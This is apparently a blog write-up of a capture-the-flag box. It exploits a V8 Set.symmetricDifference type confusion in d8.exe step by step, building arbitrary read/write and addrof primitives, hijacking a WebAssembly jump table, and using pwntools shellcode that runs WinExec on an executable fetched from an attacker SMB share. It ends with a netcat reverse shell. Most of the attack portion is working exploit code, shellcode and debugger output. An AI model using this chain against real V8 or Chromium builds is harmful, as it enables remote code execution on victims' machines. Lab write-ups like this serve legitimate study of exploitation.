#
Reaper 2 Part 1 | Browser Exploit
#
Recon
IP: 10.10.65.169
80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
Looking at port 80 it seems to be a v8 instance:
powered by V8 version 12.2.0
Completed: d8.exe --allow-natives-syntax --harmony-set-methods data.js
Looking into these compiles flags there seems to be a chromium issue a POC and working exploit for linux: https://issues.chromium.org/issues/41483297.
Checking the smbshare there is a release build of d8, there is no point building the exploit for the dev version
smbclient.py anonymous@10.10.65.169
Impacket v0.13.0.dev0+20240916.171021.65b774de - Copyright Fortra, LLC and its affiliated companies
Password:
Type help for list of commands
# use software$
# ls
...
drw-rw-rw- 0 Sun Apr 28 22:27:09 2024 v8_release
# cd v8_release
# ls
...
-rw-rw-rw- 24743936 Sun Apr 28 22:27:09 2024 d8.exe
#
d8 exploit
#
POC to Primatives
Instead of going straight to the working exploit. Disclaimer I have no idea what i am doing with browser exploits so below is an outline of what makes sense for me.
let a = new Set();
let b = new Set();
b.keys = () => {
a.clear();
return b[Symbol.iterator]();
}
r = a.symmetricDifference(b);
Should check if the poc actually works.
Attaching to windbg and running:
d8.exe --allow-natives-syntax --harmony-set-methods poc.js
Nothing happened :|
Lets dump all the objects with a debugprint and see if we can see anything useful
d8> % DebugPrint(c);
DebugPrint: 000002570004B4ED: [JSSet]
...
- table: 0x02570004b49d <OrderedHashSet[13]>
d8> % DebugPrint(a);
DebugPrint: 000002570004956D: [JSSet]
...
- table: 0x02570004b44d <OrderedHashSet[13]>
...
d8> % DebugPrint(b);
DebugPrint: 000002570004B295: [JSSet]
- table: 0x02570004b2a5 <OrderedHashSet[13]>
If we look at the c objects table entries we find a reference to a's table:
0:006> dd 0x02570004b49d-1
00000257`0004b49c 00001b9d 0000001a 0004b44d fffffffe
Playing around with the fields (or read the exploit) you can see that this maps to the .size
call. Which means we have a type confusion primitive.
Next would be to see if we can add and remove items to leak something:
let a = new Set();
let b = new Set();
for (let i = 0; i < 16; i++) { a.add(i); } // elements: 16, capacity: 16
b.keys = () => {
a.add(16);
return b[Symbol.iterator]();
}
r = a.symmetricDifference(b);
% DebugPrint(r.size);
for (let i = 0; i < 8; i++) { r.delete(i); }
% DebugPrint(r.size);
The above should remove everything and read a random value as a string.
DebugPrint: 0000022F000498AD: [OrderedHashSet]
- FixedArray length: 83
- elements: 17
- deleted: 0
- buckets: 16
- capacity: 32
...
DebugPrint: 0000022F0004989D: [String]: u#a\x00\u1b9d\x00\xa6\x00"\x00\x00\x00 \x00\ufffe\uffff\ufffe\uffff\ufffe\uffff\x0a\x00 \x00\x1e\x00\x10\x00\x1a\x00\x1c\x00\x0c\x00\x16\x00\x18\x00\x06\x00\ufffe\uffff\x12\x00\ufffe\uffff\x00\x00\ufffe\uffff\x02\x00\ufffe\uffff\x04\x00\ufffe\uffff\x06\x00\ufffe\uffff\x08\x00\x00\x00\x0a\x00\x08\x00\x0c\x00\ufffe\uffff\x0e\x00\ufffe\uffff\x10\x00\x02\x00\x12\x00\ufffe\uffff\x14\x00\ufffe\uffff\x16\x00\ufffe\uffff\x18\x00\ufffe\uffff\x1a
Smi: 0x3 (3)
that looks like a type confusion to me :D
Looking at the exploit they seem to use a PACKED_DOUBLE_ELEMENTS
which is like a list or something? but anyways this is the metadata we need to use the object:
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
let fake_arr_struct;
let map = 0x18efb1n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141n; // arbitrary address
let length = 1n << 1n; // length: 1
fake_arr_struct[0] = itof(map | properties << 32n);
fake_arr_struct[1] = itof(elements | length << 32n);
We should update the PACKED_DOUBLE_ELEMENTS value to match our system first:
d8> % DebugPrint([1.1])
DebugPrint: 0000020E00049B49: [JSArray]
- map: 0x020e0018ed71 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
Adding that to the poc:
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
let a = new Set();
let b = new Set();
for (let i = 0; i < 32; i++) { a.add(i); } // elements: 16, capacity: 16
let fake_arr_struct;
b.keys = () => {
fake_arr_struct = [1.1, 2.2];
a.add(32);
return b[Symbol.iterator]();
}
r = a.symmetricDifference(b);
let map = 0x18ed71n; // PACKED_DOUBLE_ELEMENTS
let properties = 0x6cdn; // FixedArray[0]
let elements = 0x41414141; // arbitrary address
let length = 1n << 1n; // length: 1
fake_arr_struct[0] = itof(map | properties << 32n);
fake_arr_struct[1] = itof(elements | length << 32n);
for (let i = 0; i < 16; i++) { r.delete(i); }
let type_confused_array = r.size
Running the updated poc we can see that r.size is now fake_arr_struct[1]
d8> %DebugPrint(type_confused_array)
DebugPrint: 0000034000049D19: [JSArray]
- map: 0x03400018ed71 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x03400018e6e5 <JSArray[0]>
- elements: 0x034041414141
Now we can create an arb read and read the base of V8 to check it works:
function ftoi(f) {
f_buf[0] = f;
return i_buf[0];
}
function hex(i) {
return '0x' + i.toString(16);
}
function arb_read(addr) {
elements = addr - 8n + 1n;
fake_arr_struct[1] = itof(elements | length << 32n);
return type_confused_array[0];
}
let v8base = (ftoi(arb_read(0x24)) & 0xffffffffn) << 32n;
console.log('[+] V8 base: ' + hex(v8base));
[+] V8 base: 0x2bf00000000
V8 version 12.2.0 (candidate)
d8>
---
0:006> dd 0x2bf00000000+24
000002bf`00000024 000002bf 0003ff74 00000000 00000000
:D
We can also convert the arb_read into an arb_write really easily:
function arb_write(addr, value) {
elements = addr - 8n + 1n;
fake_arr_struct[1] = itof(elements | length << 32n);
type_confused_array[0] = itof(value)
}
Next it would be a good idea to leak the value of the type_confused_array
. We can do this by creating a marker and then searching proc memory to find it. It's basically a egghunter.
let egg;
let leaked_data;
egg = 0x7730307477303074n
fake_arr_struct[0] = itof(egg);
let leaked_addr = 0x4a000n; // this value was used in the exploit :D
for (let i = 0; i < 0x1000; i++){
leaked_data = ftoi(arb_read(leaked_addr));
if (leaked_data == egg) {
break;
}
leaked_addr += 4n;
}
leaked_addr += 8n;
console.log('[+] address of type_confused_array: ' + hex(leaked_addr));
As we are using element 0 for egghunting we need to shift the offsets in the read and write by 1.
Running the poc we see it works!
[+] V8 base: 0x1ab00000000
[+] address of type_confused_array: 0x4a04c
V8 version 12.2.0 (candidate)
d8> % DebugPrint(type_confused_array)
DebugPrint: 000001AB0004A04D: [JSArray]
We can also expand this to read the location of random objects by adding an object array to type_confused_array
let type_confused_array;
let obj_array;
b.keys = () => {
fake_arr_struct = [1.1, 2.2, 3.3];
a.add(32);
obj_array = [{}];
return b[Symbol.iterator]();
}
Then we just do the egg hunt again:
egg = leaked_addr + 1n;
obj_array[0] = type_confused_array;
let obj_array_addr = leaked_addr + 0x30n;
for (let i = 0; i < 0x1000; i++){
leaked_data = ftoi(arb_read(obj_array_addr)) & 0xffffffffn;
if (leaked_data == egg) {
break;
}
obj_array_addr += 4n;
}
console.log('[+] address of obj_array[0]: ' + hex(leaked_addr));
checking if it works:
[+] V8 base: 0x23500000000
[+] address of type_confused_array: 0x4a1c4
[+] address of obj_array[0]: 0x4a1c4
We can wrap this into a helper function:
function addrof(obj) {
obj_array[0] = obj;
return ftoi(arb_read(obj_array_addr)) & 0xffffffffn;
}
#
Code Exec
Now that we have an arb read and write it is a good time to figure out how to get code exec. Looking back at the working exploit provided you can convert js -> webassembly text -> wasm using the following method:
let fi_buf = new ArrayBuffer(8); // shared buffer
let f_buf = new Float64Array(fi_buf); // buffer for float
let i_buf = new BigUint64Array(fi_buf); // buffer for bigint
function itof(i) {
i_buf[0] = i;
return f_buf[0];
}
let shellcode = [
0x4141414141414141n,
0x4242424242424242n,
]
for (let i = 0; i < shellcode.length; i++)
console.log('f64.const ' + itof(shellcode[i]));
convert to f64
.\d8.exe shellcode.js
f64.const 2261634.5098039214
f64.const 156842099844.51764
Write as webassembly text:
(module
(func (export "main")
f64.const 2261634.5098039214
f64.const 156842099844.51764
return
)
)
compile to wasm
wat2wasm -v shellcode.wat -o shellcode.was
Finally we can convert it to an intarray with python and add it to the poc:
import sys
if len(sys.argv) != 2:
print(f"[!] {sys.argv[0]} <file.wasm>")
exit()
with open(sys.argv[1], "rb") as file:
wasm = file.read()
print(str([x for x in wasm]))
let wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 23, 1, 21, 0, 68, 65, 65, 65, 65, 65, 65, 65, 65, 68, 66, 66, 66, 66, 66, 66, 66, 66, 15, 11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule);
let main = wasmInstance.exports.main;
Running the above code in d8 we can check how the shellcode is structured:
d8> %DebugPrint(wasmInstance)
DebugPrint: 0000030D00199BCD: [WasmInstanceObject] in OldSpace
...
- jump_table_start: 000000BC03141000
...
- All own properties (excluding elements): {}
that sounds interesting. Lets set a breakpoint and call main();
0:001> bp 000000BC03141000
0:001> g
Breakpoint 0 hit
000000bc`03141000 e9bb070000 jmp 000000bc`031417c0
After single stepping for a while we find this:
000000bc`03141802 89e5 mov ebp, esp
000000bc`03141804 6a08 push 8
000000bc`03141806 56 push rsi
000000bc`03141807 4881ec10000000 sub rsp, 10h
000000bc`0314180e 493b65a0 cmp rsp, qword ptr [r13-60h]
000000bc`03141812 0f8631000000 jbe 000000BC03141849
000000bc`03141818 49ba4141414141414141 mov r10, 4141414141414141h
000000bc`03141822 66490f6ec2 movq xmm0, r10
000000bc`03141827 49ba4242424242424242 mov r10, 4242424242424242h
000000bc`03141831 66490f6eca movq xmm1, r10
000000bc`03141836 4c8b5677 mov r10, qword ptr [rsi+77h]
000000bc`0314183a 41832a36 sub dword ptr [r10], 36h
000000bc`0314183e 0f8810000000 js 000000BC03141854
000000bc`03141844 488be5 mov rsp, rbp
000000bc`03141847 5d pop rbp
This is annoying to say the least. Before we get carried away lets update the jump_table_start
to be where our shellcode starts with the arb write. To do this we need the offset of jump_table_start
from wasmInstance
and the offset to teh shellcode
0:000> dq 0000030D00199BCD + 0x47
0000030d`00199c14 000000bc`03141000
0:000> ? 000000bc`03141818+2 - 000000bc`03141000
Evaluate expression: 2074 = 00000000`0000081a
Adding it to the poc:
let wasmInstance_addr = addrof(wasmInstance);
let jump_table_start = ftoi(arb_read(wasmInstance_addr + 0x47n));
arb_write(wasmInstance_addr + 0x47n, jump_table_start + 0x81an);
main();
changing the shellcode to be nops and breapoints then running it gives code exec!!
(238c.22e4): Break instruction exception - code 80000003 (first chance)
00000070`8e10181b cc int 3
0:000> t
00000070`8e10181c 90 nop
0:000>
00000070`8e10181d cc int 3
#
Shellcoding
We can run code via Winexec, to do this we need a pointer to kernel32. So time for a PEB walk :)
// set rbx to be winexec
xor rbx, rbx
mov rbx, gs:[0x60] // PEB
mov rbx, [rbx+0x18] // ldr struct
mov rbx, [rbx+0x20] // InMemoryOrderModuleList
mov rbx, [rbx] // d8 image
mov rbx, [rbx] // ntdll
mov rbx, [rbx+0x20] // kernel 32 base
xor rax, rax
mov rax, winexec_offset
add rbx, rax
Winexec takes 2 args:
UINT WinExec(
[in] LPCSTR lpCmdLine,
[in] UINT uCmdShow
);
which means rcx needs to be the path to the file we want to run and rdx needs to be 0. To write a string we can do the following pattern:
push 0xdeadbeef
xor rax, rax
mov eax, 0xdeadbeef
shl rax, 0x20
or rax, 0xdeadbeef
push rax
resulting in the string pointer being written to rsp. At the end we can do a:
mov rcx, rsp; push 0x0; pop rdx;
sub rsp, 0x30; // caller function room
call rbx;
Writing this to a python script:
import pwn
file_path = b"\\\\192.168.1.11\\share\\shl.exe"[::-1].hex() # need to reverse string due to how its being written
win_exec_offset = "0x068820"
pwn.context.arch = "amd64"
sc = [
pwn.asm("int3"), # breakpoint for debugging
pwn.asm("xor rbx, rbx"),
pwn.asm("mov rbx, gs:[rbx + 0x60]"),
pwn.asm("mov rbx, [rbx+0x18]"),
pwn.asm("mov rbx, [rbx+0x20]"),
pwn.asm("mov rbx, [rbx]"),
pwn.asm("mov rbx, [rbx]"),
pwn.asm("mov rbx, [rbx+0x20]"),
pwn.asm(f"mov eax, {win_exec_offset}"),
pwn.asm("add rbx, rax"),
pwn.asm("push 0x" + file_path[0:8]),
pwn.asm("xor rax, rax"),
pwn.asm("mov eax, 0x" + file_path[8:16]),
pwn.asm("shl rax, 0x20"),
pwn.asm("or rax, 0x" + file_path[16:24]),
pwn.asm("push rax"),
pwn.asm("mov eax, 0x" + file_path[24:32]),
pwn.asm("nop; shl rax, 0x20"),
pwn.asm("or rax, 0x" + file_path[32:40]),
pwn.asm("nop; push rax"), # so wasm wont optimise the same qword
pwn.asm("mov eax, 0x" + file_path[40:48]),
pwn.asm("nop; nop; shl rax, 0x20"),
pwn.asm("or rax, 0x" + file_path[48:56]),
pwn.asm("nop; nop; push rax"),
pwn.asm("mov rcx, rsp; push 0x0; pop rdx"),
pwn.asm("sub rsp, 0x30; call rbx")
]
for i in range(len(sc)):
sc[i] = sc[i].ljust(6, pwn.asm("nop"))
if i != len(sc) - 1:
sc[i] += pwn.asm("jmp $+0x9")
sc[i] = int(sc[i][::-1].hex(), 16) # js will load it "backwards"
print(hex(sc[i]) + "n,")
Swapping out the wasm for the above and running the poc again:
$ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 192.168.1.254 56272
Microsoft Windows [Version 10.0.19045.5679]
(c) Microsoft Corporation. All rights reserved.
C:\Users\eljay\Desktop>
SHELL!!
Now to change the offsets to run against the remote target and its another shell!
This blog is getting kind of long. So instead of trying to cram in the kernel driver I'm going to split it into 2 parts.